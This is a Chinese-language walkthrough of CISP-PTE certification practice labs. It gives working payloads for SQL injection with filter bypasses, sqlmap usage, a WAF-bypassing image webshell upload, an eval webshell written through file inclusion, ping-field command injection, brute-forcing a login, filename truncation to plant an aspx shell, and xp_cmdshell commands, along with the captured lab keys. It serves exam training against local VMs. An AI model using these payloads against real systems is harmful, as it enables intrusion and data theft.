CISP-PTE认证考试靶场练习
靶场搭建
靶场下载链接:
https://pan.baidu.com/s/1ce1Kk0hSYlxrUoRTnNsiKA?pwd=ha1x
下载好后直接用vmware打开,有两个靶机,一个是基础题,还有个综合题。基础题是pte-centos6,综合题是pte-2003
打开后然后用vim设置静态IP地址,虚拟机用net模式的话,就设置与你虚拟机同一个网段
vim /etc/sysconfig/network-scripts/ifcfg-eth0
设置好后reboot重启一下即可,然后访问81-85端口,共5题。因为靶场出了问题,只能打开第一题,建议按照原网络环境去设置仅主机模式,原IP地址是172.16.12.100,虚拟机中的攻击机也可以配置同网段仅主机模式即可,问题不大。pet-2003设置net模式就好了,发现用桥接模式扫描端口失败
基础题目之SQL注入
通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中
手工注入的话有点麻烦,它过滤了union,可以使用双写绕过,ununionion,空格可以用%0a绕过,#号可以用编码%23进行绕过。
首先判断字段数
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)%0aorder%0aby%0a5%23
order by到5就显示不正常,那么字段数就是4
然后就使用联合查询去注入
http://172.16.12.100:81/vulnerabilities/fu1.php?id=-1%27)%0aununionion%0aselect%0a1,load_file(%27/tmp/360/key%27),3,4%23
也使用sqlmap完成本题,因为有简单的过滤,可以使用自带的绕过脚本space2comment
sqlmap.py -u http://192.168.136.155:81/vulnerabilities/fu1.php?id=1 --level 5 --risk 3 --tamper=space2comment
ok了,得出存在布尔型注入以及延时注入
因为本题的flag在/tmp/360/key文件,那么我们直接进入到sql-shell,用查询语句获得flag
sqlmap.py -u http://192.168.136.155:81/vulnerabilities/fu1.php?id=1 --level 5 --risk 3 --tamper=space2comment --sql-shell
进入sql-shell以后,我们用load_file语句去读取文件
select load_file('/tmp/360/key');
得出key:8b3h4a7v
基础题目之文件上传突破
文件上传突破,需要绕过WAF过滤
上传一句话木马没反应,上传普通的图片是有显示上传成功
制作图片马:
copy /b tupian.jpg+shell.php 1ndex.jpg
上传后抓包改成php,没反应,应该是waf拦截
这时候绕过waf,可以改成php2,php3,php4等,发现2和4都能成功上传,当然蚁剑只有4的,那就用4连接
蚁剑测试连接成功
在html目录发现key
key2:8t5s0x5t
基础题目之文件包含
通过你所学到的知识,测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。
http://172.16.12.100:83/vulnerabilities/fu1.php?file=../../etc/passwd
说明是存在文件包含漏洞的。那么我们可以测试一下存不存在远程文件包含和本地文件包含
首先测试php://input,看可不可以用伪协议,有输出就说明可以用
然后试试远程文件包含第二题的一句话木马(去掉图片内容),好像不行
那么就剩下本地文件包含了,可以用伪协议写入
<?php fputs(fopen('a.php', 'w'),'<?php eval($_POST[anhunsec]); ?>'); ?>
连接成功
key:6u3x9t2p
基础题目之命令执行
通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。
输入ip,他就可以执行ping命令
127.0.0.1 | id
127.0.0.1 | cat key.php
包含敏感字符,过滤了cat,
其实应该先找key文件在哪里,它过滤了ls,那么只能盲测,less是没有被过滤的,那么直接less key.php,看能不能显示出内容。
127.0.0.1 | less key.php
很显然,没有反应。
那么就切换到上一级目录
127.0.0.1 | less ../key.php
他有显示GET it,说明key文件是在上一级目录,那么怎么获取他的key呢?其实可以使用grep去查找带有key字样的内容
127.0.0.1 | grep 'key' ../key.php
key:3s9j6c2k
基础题目之日志分析
最近管理员很苦恼,发现自己的服务器被人入侵了,但是不知道原因,你能帮帮他吗?管理员把日志保存下来了,大概分析了一下,有两个IP对服务器进行了攻击, 感觉攻击者的IP是 172.16.12.12 。日志下载地址:当前目录下的 access.log
本题可以借助应急响应工具中的星图工具去分析。当然考试当中可能没有日志分析工具,那么就只能一个个看啦!
那么题目提示说攻击者的IP是 172.16.12.12,那么就只要找这个IP的信息,当然攻击分析好像没发现什么,那么去看常规日志分析
发现访问比较多的是/adminlogin.php,那么我去访问一下
发现一个登陆页面,那么直接爆破就可以啦,注意,一般考试不会让你爆破很久,选字典的时候选少一点
根据返回的长度值,和其他不一样就说明密码是正确,并且返回的状态码是302跳转。那么账号密码就是admin |password123
key:9y6u8s5m
综合题
已知IP地址是:192.168.1.119,端口范围在27000-28000
首先namp扫描端口
nmap -sS -T4 -p 27000-28000 192.168.136.136
扫描到27689端口开放,访问后是一个文件上传下载系统
还不知道账号密码,先扫描一波目录,当然最好使用多个工具互补扫描
发现存在robots.txt以及一个配置备份文件
有数据库的账号密码,直接用navcat去连接,是sql server的数据库
得到登陆账号和密码admin |asdadwn_d2112
登陆后得到key1:4k3s9m3d
然后进入文件上传功能,上传aspx的马。先正常上传shell.aspx,提示该文件不允许上传,文件名先改成.jpg格式上传
发现上传成功
点击管理上传文件,发现文件名jp后面没掉了g
经过多次测试,文件名达到8位字符时,就可以省略后面的jpg,因为页面中说了文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名,请上传的文件名称不要过长.时间是18个字符,杠一个字符,.aspx5个字符,总共24字符,32-24=8,说明文件名要8位字符,才能把.jpg后面都被系统截断
随后就是找文件路径了,点击最下面上传的文件
发现它的上传路径是upfile/affix/
然后拼接一下webshell路径
http://192.168.136.136:27689/upfile/affix/638123235837656250-shelllll.aspx
web根目录获得key2:2a3s9p4d
接下来就是进入系统桌面,但是发现权限不够
在web目录中,看到了web.config.back-2017-12-12文件,点开来刚好是sa权限的用户
那么继续使用navcat去连接
连接后使用sql-server查询语句去查询系统文件
先看看桌面里有什么文件
exec xp_cmdshell 'dir "C:\Documents and Settings\Administrator\桌面"'
发现有个key,txt,接下来就读取一下就行了
exec xp_cmdshell 'type "C:\Documents and Settings\Administrator\桌面\key.txt"'
key3:4d9d3q8v
选择题题库
下载链接:https://pan.baidu.com/s/1tgyulo6WJf5knqSIqUrKIg?pwd=0d9u